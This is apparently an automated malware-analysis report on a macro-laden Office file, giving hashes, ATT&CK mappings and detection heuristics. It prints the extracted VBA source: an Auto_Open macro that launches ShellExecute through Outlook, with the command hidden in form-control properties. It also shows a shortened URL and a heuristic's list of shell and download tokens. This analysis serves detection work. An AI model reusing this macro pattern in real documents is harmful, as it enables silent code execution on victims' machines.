Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fbc7357aab84cbff…

MALICIOUS

Office (OOXML)

8.7 KB First seen: 2021-08-20
MD5: 54944083d016eaea5d8f53859b766144 SHA-1: 0d054e22c8612e5467ec3b7be1fca899f0e9eb1c SHA-256: fbc7357aab84cbffdc3d81706ed405383ea48e13933419f5dfddb3373d725a04
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an Auto_Open subroutine, which is a common technique for executing malicious code upon opening the document. The script uses CreateObject to call ShellExecute, likely to download and execute a second-stage payload. The VBA project part was renamed to evade detection, indicating a deliberate attempt to conceal malicious activity.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kasokdaoskd.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Outlook = CreateObject("Outlook.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Auto_Open _
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ashdiowkwddwddwwoi In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 659 bytes
SHA-256: e473bea3b6bd8691b50e402cfd6e66da2144afa1a38678454ea5036cd5f5fe7a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module111"
Sub _
Auto_Open _
()
Set Outlook = CreateObject("Outlook.Application")
Set Microsoft = Outlook.CreateObject("Shell.Application")
Microsoft.ShellExecute hola.gola.Accelerator + hola.gola.ControlTipText, hola.gola.Caption
End _
Sub


Attribute VB_Name = "hola"
Attribute VB_Base = "0{559D5D9D-8678-495C-8412-C0918EDE6429}{58FAF3E2-E78A-4EE3-A7F6-E552181D8221}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/kasokdaoskd.b 18432 bytes
SHA-256: 08adfc5631b33500f690ac52cc4fc97288bbb024752361957ec5c6dae2e124b7

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